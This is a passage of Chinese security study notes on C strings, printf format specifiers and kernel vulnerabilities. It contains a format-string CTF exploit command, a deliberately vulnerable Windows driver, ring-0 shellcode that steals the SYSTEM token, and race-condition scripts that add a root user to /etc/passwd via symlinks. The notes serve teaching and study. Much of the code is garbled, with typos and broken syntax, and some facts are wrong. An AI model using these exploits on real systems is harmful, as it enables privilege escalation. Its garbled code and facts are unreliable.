的异常处理函数。通常,这个函数会弹出一个错误对话框
,然后强制关闭程序
。
- 防御SEH溢出
- 字符
- char/sigined char/unsigned char是不同的类型,但int/sigined int是一样的
1 2 3 4 5 | std::out<<std::is_same<char,char>::value<<std::endl; / / TRUE std::out<<std::is_same<char,sigined char>::value<<std::endl; / / FALSE std::out<<std::is_same<char,sunigined char>::value<<std::endl; / / FALSE std::out<<std::is_same< int , int >::value<<std::endl; / / TRUE std::out<<std::is_same< int ,sigined int >::value<<std::endl; / / FALSE |
- 字符编码(Character encoding)也称字集码,是把字符集中的字符编码为指定集合中某一对象(例如:比特模式、自然数序列、8位组或者电脉冲),以便文本在计算机中存储和通过通信网络的传递。常见的例子包括将拉丁字母表编码成摩斯电码和ASCII。其中,ASCII将字母、数字和其它符号编号,并用7比特的二进制来表示这个整数。通常会额外使用一个扩充的比特,以便于以1个字节的方式存储。
ASSCII
:美国(国家)信息交换标准(代)码,一种使用7个或8个二进制位进行编码的方案,最多可以给256个字符(包括字母、数字、标点符号、控制字符及其他符号)分配(或指定)数值。GB2312
:也是ANSI编码里的一种,对ANSI编码最初始的ASCII编码进行扩充,为了满足国内在计算机中使用汉字的需要,中国国家标准总局发布了一系列的汉字字符集国家标准编码,统称为GB码,或国标码。GBK
:即汉字内码扩展规范,K为扩展的汉语拼音中“扩”字的声母。英文全称Chinese Internal Code Specification。GBK编码标准兼容GB2312,共收录汉字21003个、符号883个,并提供1894个造字码位,简、繁体字融于一库。unicode
:世界上存在着多种编码方式,在ANSi编码下,同一个编码值,在不同的编码体系里代表着不同的字。在简体中文系统下,ANSI 编码代表 GB2312 编码,在日文操作系统下,ANSI 编码代表 JIS 编码,可能最终显示的是中文,也可能显示的是日文。在ANSI编码体系下,要想打开一个文本文件,不但要知道它的编码方式,还要安装有对应编码表,否则就可能无法读取或出现乱码。为什么电子邮件和网页都经常会出现乱码,就是因为信息的提供者可能是日文的ANSI编码体系和信息的读取者可能是中文的编码体系,他们对同一个二进制编码值进行显示,采用了不同的编码,导致乱码。这个问题促使了unicode码的诞生。- 如果有一种编码,将世界上所有的符号都纳入其中,无论是英文、日文、还是中文等,大家都使用这个编码表,就不会出现编码不匹配现象。每个符号对应一个唯一的编码,乱码问题就不存在了。这就是Unicode编码。
UTF-8
:为了提高Unicode的编码效率,于是就出现了UTF-8编码。UTF-8可以根据不同的符号自动选择编码的长短。比如英文字母可以只用1个字节就够了。Base64
:有的电子邮件系统(比如国外信箱)不支持非英文字母(比如汉字)传输,这是历史原因造成的(认为只有美国会使用电子邮件?)。因为一个英文字母使用ASCII编码来存储,占存储器的1个字节(8位),实际上只用了7位2进制来存储,第一位并没有使用,设置为0,所以,这样的系统认为凡是第一位是1的字节都是错误的。而有的编码方案(比如GB2312)不但使用多个字节编码一个字符,并且第一位经常是1,于是邮件系统就把1换成0,这样收到邮件的人就会发现邮件乱码。
- 字符串
宽字节
字符串
L"hello world中国" 每个字符占2个字节多字节
字符串
"hello world中国"hello world
每个字符占1个字节,中国
每个字符占2个字节
-_T("hello world")
这个宏
根据工程的设置,自适应变成宽字节
或者多字节
ANSI_STRING
字符串不是'\0'
结尾,是一个结构体(有buffer,length)UNICODE_STRING
字符串不是'\0'
结尾,内核统一使用的字符串格式
- 0、L'0'、'0'、
'\0'
、"0"、FALSE、false、NULL0
,int(4Byte),0x00000000L'0'
,wchar_t(2Byte),0x0030'0'
,char(1Byte),0x30'\0'
,char(1Byte),0x00"0"
,char*(2Byte),0x3000("0\0"
)FALSE
,BOOL(4Byte),0x00000000false
,bool(1Byte),0x00NULL
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | / / / C #define NULL(viod*)0 / / / C + + 98 ,C + + 不允许直接使用void * 隐式的转化为其他类型,如果NULL被定义为((viod * ) 0 ),当编译char * p = NULL;就会报错。 #define NULL 0 / / / 如果NULL 被定义为 0 ,C + + 中的函数重载就会出问题 void func( int ); / / 因为NULL是 0 ,实际上是调用这个函数,不符合预期,这是是C + + 98 遗留的问题 void func(char * ); / / 当把NULL传给func,期待是调用这个函数 / / / C + + 11 ,引入了nullptr类型,不是整数类型,能够隐式的转换成任何指针,所以用空指针推荐使用nullptr。 / / / NULL的发明人东尼.霍尔(Toby Hoare)图灵奖得主,把NULL引用称为十亿美元的错误 / / / 有不使用NULL的语言,Rust就是,一个数据可能有值可能没有值,需要把它放到Option里面,这样编译器在处理Option的时候会强制去判断它是否有值,如果没有值,就需要程序员去处理没有值的情况,否则编译无法通过。 enum Option <T>{ / / 标识一个值无效或者缺失 Some(T), / / T是泛型,可以包含任何数据 None , } |
- 字符<-->数字
- atoi("123");
- itoa(123,buf);
- printf
- 打印格式:%
[flags]``[width]``[.precision]``[{h|l|ll|w|I|I32|I64|}]
type %c
以char(2Byte)字符格式打印%wc
以wchar_t(2Byte)字符格式打印%d
以int(4Byte)格式打印%hd
以short(2Byte)格式打印%ld
以long(4Byte)格式打印%I64d
以_int64
(8Byte)格式打印%lld
以long long或者_int64
(8Byte)格式打印%s
以多字节
字符串格式打印%ws
以宽字节
字符串格式打印%u
以unsigned格式打印%#x
以16进制格式打印#
表示带前缀0x
%02x
以16进制格式打印02
表示不足两位补零%o
以8进制格式打印%#o
以8进制格式打印#
表示带前缀0
%02o
以8进制格式打印02
表示不足两位补零%p
以指针格式打印%f
以float(4Btye)格式打印%.2f
以float(4Btye)格式打印,.2
表示保留小数点后两位%lf
以double(2Byte)格式打印%Z
以ANSI_STRING
字符串格式打印%wZ
以UNICODE_STRING
字符串格式打印%%
打印一个%
%n
,把前面打印的字符总数写入到变量里面去,现在已经被编译器禁用
了,编译
能通过
但执行
的时候会报错
。%01000x%n
把前面打印的字符总数1000
个0
写入到变量里面去,0
表示用0填充,%1000x
表示以16进制格式重复打印1000个字符,x可以替换为c(以char格式打印,还是一个字节)
- 打印格式:%
1 2 3 | int len = 0 ; printf( "%n" ,& len ) / / 把前面打印的 "helloworld" 字符总数 10 (不包括 '\0' , '\0' 只是截断标记,并不会打印,也无法打印来)写入到 len 里面去 printf( "%1000x%n" , 'x' ,& len ) |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | / / / 两种打印方式,效果一样,都是安全的 printf( "%s" , "hello world" ); printf( "hello world" ); / / / C语言不是类型安全的语言,传入什么数据都可以执行 void Print (char * buf) { printf(buf); / / printf( "%d,%s,%p,..." );这里字符串后面没有跟参数,编译器会从栈上找到对应的变量传给printf打印出来,从而知道栈上的内存布局,找到关键位置的边界、敏感数据的位置,为下次溢出攻击做准备。比如心脏流血漏洞,把服务端栈上的数据(用户名和密码)返回给客户端 printf( "%s" ,buf); / / 这样的用法是安全的,只会打印出 "%d,%s,%p,..." } Print ( "hello world" ); / / 正常情况下这样使用没有问题 Print ( "%d,%s,%p,..." ); / / 如果构造了一个格式化字符串,就会触发格式化字符串漏洞,这只是一个读操作 int len = 0 ; Print ( "helloworld%n..." ,& len ) / / 这是写操作,危害性更大,把前面打印的 "helloworld" 字符总数写入到 len 里面去 / / / 如果后面有一个判断,可以修改 len 来突破判断 if ( len > = 10 ) / / 登陆成功 else / / 登陆失败 |
实战
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | / / / test.c #include<stdio.h> #include<stdlib.h> int secret = 0x200 ; void get_flag() { system( "cat ./1.txt" ); / / 把当前目录下的 1.txt 文件打印出来 } int main( int argc,char * * argv) { int * p = &secret; / / 没有这个指令,那linux上用` % 02021xn $hn`修改栈上的参数就起不了作用了,因为secret是初始化的全局变量,存放在静态区的.data中,不存在栈上。 / / printf( "%p\n" ,p); printf(argv[ 1 ]); / / 命令行方式运行程序,用户输入传给该程序的参数,直接打印,这里有格式化串漏洞 if (secret = = 2021 ) / / 正常情况下,secret永远不会从 0x200 变成 2021 { get_flag(); } return 1 ; } |
- 思路
- 在windows,现在已经被编译器禁用了,编译能
通过
但执行的时候会报错
。test ""%02021x%n",'x',&secret"
将secret的值修改成2021
- 在linux上:
./test ""%02021x%n",'x',&secret"
将secret的值修改成2021也不行 - 通过python作为标准输出传给test也不行
在linux上另一个思路
:- 找到secret变量的地址
./test "%p,%p,%p,%p,%p,%p,%p,%p,%p,%p"
把printf栈上的参数(%p以4个字节为基本单位(x86上栈对齐是4Byte)打印参数
的地址,形参和上层栈空间(ret往下的栈空间都认为是参数)都可以被打印)的地址都打印出来,根据secret地址
确定secret在printf中是第n
参数%02021x%n$hn
把printf的第n
个参数的2
Byte修改为2021%02021x%
表示把把前面打印的字符总数2021
个0
写入到变量里面去,0
表示用0填充,%1000x
表示以16进制格式重复打印1000个字符,x可以替换为c(以char格式打印,还是一个字节)n$
表示修改第n个参数的值hn
表示2Byte,n
表示4Byte
"%02021x%9$hn"
通过python作为标准输出传给test
1 | . / test "$(python -c 'import sys;sys.stdout.write(" % 02021x % 9 $hn ")')" |
内核漏洞分类与分析
内核漏洞分类
- 拒绝服务(DOS):让系统崩溃蓝屏
- 缓存区溢出:内核也有缓冲区
- 内存篡改
- 任意地址写任意数据:和堆溢出的思路不一样,但效果一样
- 固定地址写任意数据
- 任意地址写固定数据
- 设计缺陷:逻辑漏洞,考虑不周全,校验不全
- 搭建好环境,拿到POC代码
- 找到漏洞触发的位置
- 开源的系统:Linux和Android等
- 源码分析
- 非开源的系统:Windows,MacOS等
- 反汇编分析
- 补丁对比:更新前和更新后更改的部分
- POC分析
- 蓝屏分析
- DOS(Denial-of-Service Attack)
- 不要使用
MmIsAddressValid
函数,这个函数对于校验内存结果是 unreliable 的。
- 首先,他只能判断一个字节地址的有效性 :
(一个物理内存页是4k,只需要一个字节有效,则认为整个内存页是有效的)
比如:
1 2 3 4 5 | if (MmIsAdressValid(p1){ / / / < 判断内存地址P1是否有效 / / / C库函数 int memcmp(const void * str1, const void * str2, size_t n)) 把存储区str1和存储区 str2的前n个字节进行比较 / / / @warning 攻击者只需要传递第一个字节在有效页,而第二个字节在无效页的内存就会导致系统崩溃, 例如 0x7000 是有效页, 0x8000 是无效页,攻击者传入p1 = 0x7fff memcmp(p1,p2, len ); } |
- 其次,MmIsAddressValid 对于
pageout
的页面不能准确的判断(MmIsAddressValid 对pageout的内存的返回值是Ture或者False是不能确定的 ),所以攻击者可以利用你的判断失误来绕过你的保护。
- ObReferenceObjectByHandle 未指定类型
对于用户态句柄使用 ObRefenceObjectByHandle(根据句柄拿到内核对象,因为句柄不跨进程只在同一个进程有效,如果把句柄传给另一个进程,它是无效的。所以一般是拿到handle之后直接得到它的fileobject), 不指定类型仍可以获得对应的对象地址,但如果你直接访问这个对象,就会引发漏洞常见的错误:
1 2 3 4 5 6 | / / / 把文件的句柄转换成文件的内核对象 / / / @warning 没有指定一个句柄的类型,攻击者可以传入非文件类型的句柄从而造成系统漏洞,得到其他类型的内核对象,对应的结构体的定义里很可能可能没有FileName,就会行为未定义或者无效内存,下面调用wcsnicmp访问FileName,系统会崩溃,造成蓝屏。 / / / 没有指定一个句柄的类型如果指定了句柄的类型,即使攻击者故意发下来句柄和指定的不符,函数会执行失败,从而wcsnicmp会发现这个失败,就不会去访问fileobject - >FileName了 ObReferenceObjectByHandle(FileHandle , Access , NULL(ObjectType) ,...&fileobject); / / / 再访问文件内核对象的文件路径 wcsnicmp把文件内核对象的文件路径与某一路径进行比较 if (wcsnicmp(fileobject - >FileName....) |
任意地址写入任意数据提权
思路
neither io
:应用层直接传一个地址addr到驱动,又传一个值value到驱动,然后赋值((addr) = value)- 没有校验的话,应用层就可以传任意一个
R0
的地址下来,又传一个值value(通常是0
,可以绕过微软的检查,分配一个以0为起始地址的内存)到驱动,然后赋值(r0的任意函数的地址
=shellcode的地址
(0x00000000)(R0的shellcode存放在R3中以0
地址为起始地址的内存中))
- 没有校验的话,应用层就可以传任意一个
- 内核地址:比如某个表中的函数地址,一般要选择
低频率被调用
的函数,没有人调用最好。- 首先触发不是考虑的核心,因为可以自己调用该函数来触发,所以选择的函数函数
低频率被调用
没有问题。 - 更重要的是,在利用漏洞的应用进程中分配一个以0地址为起始地址的内存来存放
shellcode
,在当前应用进程
空间中通过调用目标内核函数
来调用shellcode没有问题,一旦切换了进程
,进程上下文进行了切换,新调度上cpu的进程调用这个目标函数,访问shellcode就会出问题,因为这时候的shellcode对于新进程
来说是无效内存
(进程之间是相互隔离的,内存是各自私有
的),就会系统奔溃蓝屏。
- 首先触发不是考虑的核心,因为可以自己调用该函数来触发,所以选择的函数函数
- 任意数据:想办法将该内核地址的值设置为0
- 在R3里分配一个0地址内存(调用
ZwAllocateVirtualMemory
),并将R0 shellcode
拷贝到此内存空间
1 2 3 4 5 6 7 8 9 | NTSTATUS ZwAllocateVirtualMemory( _In_ HANDLE ProcessHandle _Inout_ PVOID * BaseAddress, / / 将BaseAddress 指向 0 传入,这个函数会认为你是想在任意可用的地址上分配内存,而不是 0 (系统不会把 0 地址内存当做可用到),绕过的方法:指定BaseAddress为一个低地址,比如 1 _In_ ULONG_PTR ZeroBits, _Inout_ PSIZE_I RegionSize, _In_ ULONG AllocationType, / / 绕过的方法就是指定AllocationType为MEMTOP_DOWN也就是从高地址向低地址分配内存,同时指定分配内存的大小大于这个值,例如 8192 ( 2 个内存页) / / 这样分配成功后地址范围就是 0xFFFFE001 ( - 8191 )到 1 (把 0 地址包含在内了,这里的内存是宽度,比如 - 3 到 1 是包含 4Byte 的空间, - 3 |_|_|_|_| 1 ),此时再去尝试向NULL指针执行的地址写数据(浪费掉 1 到 0 这个Byte),会发现程序不会异常了。 _In_ ULONG Protect ); |
- 提升进程的权限到system进程
- windows最高权限不是管理员权限,而是system权限
- 1.注册表访问:
说明:在非SYSTEM权限下,用户是不能访问某些注册表项的,比如"HKEY_ LOCAL MACHINEISAM"
、"HKEY_ LOCAL MACHINEISECURITY"
等。 这些项记录的是系统的核心数据,但某些病毒或者木马经常光顾这里。比如在SAM项目下建立具有管理员权限的隐藏账户,在默认情况下管理员通过在命令行下敲入"net
user'或者在本地用户和组"(lusrmgr.msc)中是无法看到的,给系统造成了很大的隐患。在SYSTEM'权限下,注册表的访问就没有任何障碍,一切黑手都暴露无遗! - 2.访问系统还原文件:
- 系统还原是windows系统的一种自我保护措施,它在每个根目录下建立
System Colume Information
文件夹,保存一些系统信息以备系统恢复是使用。如果你不想使用系统还原,或者想删除其下的某些文件,这个文件夹具有隐藏、系统属性,非SYSTEM权限是无法删除的(病毒和木马获取system权限之后把自己放到这个文件夹中保护起来)。如果以SYSTEM权限登录你就可以任意删除了,甚至你可以在它下面建立文件,达到保护隐私的作用。
- 系统还原是windows系统的一种自我保护措施,它在每个根目录下建立
- 3.更换系统文件:
- Windows系统为 系统文件做了保护机制一般情况下你是不可能更换
系统文件
的,因为系统中都有系统文件的备份,它存在于c:\WINDOWSlsysem32dll\cache
(假设你的系统装在C盘)。 当你更换了系统文件后,系统自动就会从这个目录中恢复相应的系统文件。当目录中没有相应的系统文件的时候会弹出提示,让你插入安装盘。在实际应用中如果有时你需要Diy自己的系统修改一些系统文件,或者用高版本的系统文件更换低版本的系统文件,让系统功能提升。比如Window XP系统只支持一一个用户远程登录,如果你要让它支持多用户的远程登录。要用Windows 2003的远程登录文件替换Window XP的相应文件。这在非SYSTEM权限下很难实现,但是在SYSTEM权限下就可以很容易实现。
- Windows系统为 系统文件做了保护机制一般情况下你是不可能更换
- 4.手工杀毒:
- 用户在使用电脑的过程中一般都是用Administrator或者其它的管理员用户登录的,中毒或者中马后,病毒、木马大都是以管理员权限运行的。我们在系统中毒后一般都是用杀毒软件来杀毒,如果你的杀软瘫痪了,或者杀毒软件只能查出来,但无法清除,这时候就只能赤膊上阵,手工杀毒了。在Adinistrator权限下,如果手工查杀对于有些病毒无能为力,一般要启动到安全模式下,有时就算到了安全模式下也无法清除干净。如果以SYSTEM权限登录,查杀病毒就容易得多。
- 使用了
neither io
通信方式 - 没有对R3传下来的地址进行
校验
- 任意地址写入任意数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 | / * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * created: 2010 / 12 / 06 filename: D:\ 0day \ExploitMe\exploitme.c author: shineast purpose: Exploit me driver demo * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * / #include <ntddk.h> #define DEVICE_NAME L"\\Device\\ExploitMe" #define DEVICE_LINK L"\\DosDevices\\DRIECTX1" #define FILE_DEVICE_EXPLOIT_ME 0x00008888 #define IOCTL_EXPLOIT_ME (ULONG)CTL_CODE(FILE_DEVICE_EXPLOIT_ME,0x800,METHOD_NEITHER,FILE_WRITE_ACCESS) / / 使用的是通信方式是neither io / / 创建的设备对象指针 PDEVICE_OBJECT g_DeviceObject; / * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * 驱动派遣例程函数 输入:驱动对象的指针,Irp指针 输出:NTSTATUS类型的结果 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * / NTSTATUS DrvDispatch(IN PDEVICE_OBJECT driverObject,IN PIRP pIrp) { PIO_STACK_LOCATION pIrpStack; / / 当前的pIrp栈 PVOID Type3InputBuffer; / / 用户态输入地址 PVOID UserBuffer; / / 用户态输出地址 ULONG inputBufferLength; / / 输入缓冲区的大小 ULONG outputBufferLength; / / 输出缓冲区的大小 ULONG ioControlCode; / / DeviceIoControl的控制号 PIO_STATUS_BLOCK IoStatus; / / pIrp的IO状态指针 NTSTATUS ntStatus = STATUS_SUCCESS; / / 函数返回值 / / 获取数据 pIrpStack = IoGetCurrentIrpStackLocation(pIrp); Type3InputBuffer = pIrpStack - >Parameters.DeviceIoControl.Type3InputBuffer; UserBuffer = pIrp - >UserBuffer; inputBufferLength = pIrpStack - >Parameters.DeviceIoControl.InputBufferLength; outputBufferLength = pIrpStack - >Parameters.DeviceIoControl.OutputBufferLength; ioControlCode = pIrpStack - >Parameters.DeviceIoControl.IoControlCode; IoStatus = &pIrp - >IoStatus; IoStatus - >Status = STATUS_SUCCESS; / / Assume success IoStatus - >Information = 0 ; / / Assume nothing returned / / 根据 ioControlCode 完成对应的任务 switch(ioControlCode) { case IOCTL_EXPLOIT_ME: if ( inputBufferLength > = 4 && outputBufferLength > = 4 ) { * (ULONG * )UserBuffer = * (ULONG * )Type3InputBuffer; / / 没有对R3传下来的地址进行校验,所以没发现是内核态地址,造成了任意地址写入任意数据 IoStatus - >Information = sizeof(ULONG); } break ; } / / 返回 IoStatus - >Status = ntStatus; IoCompleteRequest(pIrp,IO_NO_INCREMENT); return ntStatus; } / * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * 驱动卸载函数 输入:驱动对象的指针 输出:无 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * / VOID DriverUnload( IN PDRIVER_OBJECT driverObject ) { UNICODE_STRING symLinkName; KdPrint(( "DriverUnload: 88!\n" )); RtlInitUnicodeString(&symLinkName,DEVICE_LINK); IoDeleteSymbolicLink(&symLinkName); IoDeleteDevice( g_DeviceObject ); } / * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * 驱动入口函数(相当于main函数) 输入:驱动对象的指针,服务程序对应的注册表路径 输出:NTSTATUS类型的结果 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * / NTSTATUS DriverEntry( IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath ) { NTSTATUS ntStatus; UNICODE_STRING devName; UNICODE_STRING symLinkName; int i = 0 ; / / 打印一句调试信息 KdPrint(( "DriverEntry: Exploit me driver demo!\n" )); / / 创建设备 RtlInitUnicodeString(&devName,DEVICE_NAME); ntStatus = IoCreateDevice( driverObject, 0 , &devName, FILE_DEVICE_UNKNOWN, 0 , TRUE, &g_DeviceObject ); if (!NT_SUCCESS(ntStatus)) { return ntStatus; } / / 创建符号链接 RtlInitUnicodeString(&symLinkName,DEVICE_LINK); ntStatus = IoCreateSymbolicLink( &symLinkName,&devName ); if (!NT_SUCCESS(ntStatus)) { IoDeleteDevice( g_DeviceObject ); return ntStatus; } / / 设置该驱动对象的卸载函数 driverObject - >DriverUnload = DriverUnload; / / 设置该驱动对象的派遣例程函数 for (i = 0 ; i < IRP_MJ_MAXIMUM_FUNCTION; i + + ) { driverObject - >MajorFunction[i] = DrvDispatch; } / / 返回成功结果 return STATUS_SUCCESS; } |
R3代码
- 获取内核函数xHalQuerySystemInformation的内存地址
- 打开设备对象
- 如果驱动在做好防护校验,知道打开驱动的程序是不是可信任的,也不至于被利用。@todo修复这个漏洞
- 利用漏洞将HalQuerySystemInformation函数地址改为0
- 在本进程空间申请0地址内存
- 复制Ring0ShellCode到0地址内存中,
- 触发漏洞
- Ring0中执行的Shellcode
- 拿到当前
EPROCESS
结构(硬编码,shellcode只能跑在xp上)遍历双向循环链表,找到system的EPROCESS结构(PID是4),将其token
拷贝到当前进程中来,实现提权
- 拿到当前
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | / / Ring0中执行的Shellcode NTSTATUS Ring0ShellCode( ULONG InformationClass, ULONG BufferSize, PVOID Buffer , PULONG ReturnedLength) { / / 打开内核写 __asm { cli; mov eax, cr0; mov g_uCr0, eax; and eax, 0xFFFEFFFF ; mov cr0, eax; } / / USEFULL FOR XP SP3 __asm { / / KPCR / / 由于Windows需要支持多个CPU, 因此Windows内核中为此定义了一套以处理器控制区(Processor Control Region) / / 即KPCR为枢纽的数据结构, 使每个CPU都有个KPCR. 其中KPCR这个结构中有一个域KPRCB(Kernel Processor Control Block)结构, / / 这个结构扩展了KPCR. 这两个结构用来保存与线程切换相关的全局信息. / / 通常fs段寄存器在内核模式下指向KPCR, 用户模式下指向TEB. / / http: / / blog.csdn.net / hu3167343 / article / details / 7612595 / / http: / / huaidan.org / archives / 2081.html mov eax, 0xffdff124 / / KPCR这个结构是一个相当稳定的结构,我们甚至可以从内存[ 0FFDFF124h ]获取当前线程的ETHREAD指针. mov eax, [eax] / / PETHREAD mov esi, [eax + 0x220 ] / / PEPROCESS mov eax, esi searchXp : mov eax, [eax + 0x88 ] / / NEXT EPROCESS sub eax, 0x88 mov edx, [eax + 0x84 ] / / PID cmp edx, 0x4 / / SYSTEM PID jne searchXp mov eax, [eax + 0xc8 ] / / SYSTEM TOKEN mov[esi + 0xc8 ], eax / / CURRENT PROCESS TOKEN 提权 } / / 关闭内核写 __asm { sti; mov eax, g_uCr0; mov cr0, eax; } g_isRing0ShellcodeCalled = 1 ; return 0 ; } |
竞争条件漏洞(刻舟求剑
)
- 轻者内存泄漏,重则提权
- 竞争条件漏洞利用不是每次都成功的,需要开启线程反复去尝试
- 竞争状态是一种异常行为,是由对事件相对节奏依赖关系的破坏而引发的。竞争条件属于time-of-check-to-time-of-use(
TOCTTOU
)漏洞的一种。即程序先检查对象的某个特性,然后的动作是在假设
这些特性一直保持
的情况下作出的(先检查后使用,中间存在时间差
)。但这时该特性可能不具备了(进程调度,时间片用完了)。 - 一般来说,进程不是以
原子
方式运行的。一个进程可以在任意两条指令之间中断(进程调度)。如果一个进程对这样的中断没有适当的处理措施
(加锁),其它进程就可能干扰程序的进行,甚至引起安全问题。 - 竞争条件漏洞的发生,要具备以下条件:
- 有
两个或两个以上
的事件发生,两个事件间有一定的时间间隔
(不是并行的)。两个事件间有一定的关系
,即第二个事件(及其后的事件)依赖于第一个事件。(比如:打开文件,先检查对文件有没有读写权限,有然后再打开,处理完之后再关闭文件)
- 有
- 攻击者能够改变第一个事件所产生的
结果
,为第二个事件所依赖的假设
。 - 正确的临时文件创建方法,
O_EXCL
是排他性,只允许一个进程打开,别的进程无法打开
1 2 3 4 5 6 7 8 | / / / 在 linux中创建临时文件 char * filename; int fd; do { filename = tempnam(NULL, "foo" ); / / 生成临时文件的名字 fd = open (filename, 0_ CREATI 0_EXCLI 0_TRUNCI 0_RDwR , 0600 ); / / O_EXCL是排他,只能一个进程来访问 free (filenar); } while (fd = = - 1 ); |
实战-提权
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | / / / 下面的这个程序,表面上看起来似乎是完美的,但实际上它具有竞争条件漏洞。 / / rulp.c #include <stdio.h> #include <unistd.h> #include <string.h> #define DELAY 10000 int main( { char * fn = "/tmp/YZX" ; char buffer [ 160 ]; FILE * fp; long int ; / / get user input scanf( "%50s" ,buffex ) / / Buffer 是从终端输入的,输入tom:test: 0 : 0 :gecos:homedir:shell if (!access(fn,W_oK)) / / 成功执行时,返回 0 。失败返回 - 1 ,校验是否有写权限,A进程要访问临时目录下的文件,校验完之后但还没有打开它之前被切换出去了 { / / sinulating delay 让校验和打开文件之间有个时间差,不模拟也可以的,linux是分时系统,每个线程都有时间片的,不模拟耗时也是有可能切换出去的 for (i = O;i<DELAY;i + + ) / / B进程进来把A进程要访问的文件删除,然后建立一个同名的符号链接指向` / etc / passwd`,B进程退出 { int a = i^ 2 ; } fd = fopen(fn, "a+" ); / / 以写的方式打开 fwrite( "\n" , sireof(char), 1 ,fp); / / 先写入一个换行 fwrite( buffer ,sizoof (char), strlen( buffer ),fp); / / 写入 buffer fclose(fp); } else printf( "No persission\n" ); |
- passwd文件是
root
拥有,我们普通用户能修改吗?- 如果一个程序的拥有者是
root
,且带有set-uid
标志位,普通用户运行这个程序就拥有了其root
(拥有者)的权限。
- 如果一个程序的拥有者是
- Set-UID是Unix系统中的一个重要的安全机制。当一个Set-UID程序运行的时候,它被假设为具有拥有者的权限。例如,如果程序的拥有者是root,那么任何人运行这个程序时都会获得程序拥有者的权限,
Set-UlD
允许我们做许多很有趣的事情,但是不幸的是,它也是很多坏事情的罪魁祸首。 - 编译并设置root权限
1 2 3 4 5 | gcc vulp.c - o vulp touch attack_input echo "tom:ttXydORJt50wQ:0:0:,,,:/home:/bin/bash" > attack_input #用来在passwd中添加超级用户的字段 chown root vulp #vulp的拥有者设置成root chmod u + s vulp #让vulp带上set-uid标志位,这样启动vulp就可以拥有root权限,就可以修改/etc/passwd了 |
- 运行脚本反复执行vulp程序
1 2 3 4 5 6 7 8 9 10 11 | #!/bin/sh race() { while true do . / vulp <attack_input #反复运行vulp,并向其输入attack_input文件的内容,即"tom:ttXydORJt50wQ:0:0:,,,:/home:/bin/bash" done } race RACE_PID = $! kill $RACE_PID |
- 运行脚本反复把原来要访问的文件删除,然后建立一个同名的符号链接指向
/etc/passwd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | #!/bin/sh race() { old = `ls - l / etc / passwd` new = `ls - l / etc / passwd` # when we modify the passwd successfully, the attack stops while [ "$old" = "$new" ] do # because when the synlink already exists, we can't modify the symlink, # so before change the symlink, we should rm the old one rm - f / tmp / XYZ #删除原来的文件 > / tmp / XYZ ln - sf / etc / passwd / tmp / XYZ #建立一个同名的符号链接指向`/etc/passwd` new = `ls - l / etc / passwd` #观察/etc/passwd是否有变化,如果有变化则认为修改成功,程序退出 # echo $new # echo $old done } race echo "Stop...The passwd has been changed!" RACE_PID = $! kill $RACE_PID |
1 2 3 4 5 6 | if (!dptr - >data[s_pos]) { / / 如果处于多线程环境下,A,B进程都执行到这里,都为空,然后都进入了 dptr - >data[s_pos] = kmalloc(quantum, GFP_KERNEL); if (!dptrs - >data[s_pos]) / / 都为数组分配一个块内存,会导致先分配的内存被后分配的内存覆盖,先分配的内存就泄漏了 / / 改进:在访问共享资源之前加锁,单实例懒汉模式,双重校验模式 goto out; } |
Linux内核竞争条件漏洞CVE-2014-0196
https://blog.includesecurity.com/2014/06/exploiting-cve-2014-0196-a-walk-through-of-the-linux-pty-race-condition-poc/
http://blog.csdn.net/hu3167343/article/details/39162431
原理
- tty:终端,一种字符型设备。tty设备包括虚拟控制台,串口以及伪终端设备。
- /dev/tty代表当前ty设备
- tty可被多个线程或进程同时共享和访问。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | static ssize_t n_tty write(struct tty_struct * tty, struct file * file , const unsigned char * buf, size_t nr) { const unsigned char * b = buf; DECLARE_WAITQUEUE(wait,current); int C; ssize_t retval = 0 ; } / / 补丁 @@ - 2353 , 8 + 2353 , 12 @@ static ssize_t n_tty_write(struct tty_struct * tty, struct file * file , if (tty - >ops - >flush_chars) tty - >ops - >flush_chars(tty); } else { + struct n_ tty_ _data * Idata = tty - >disc_data; + while (nr> 0 ){ + mutex_lock(&ldata - >output_lock); / / 主要是这里加了锁,修复了漏洞 C = tty - >ops - >write(ty,b,nr); + mutex_unlock(&ldata - >output_lock); if (C< 0 ){ retval = c; goto break_out; |
exploit 利用
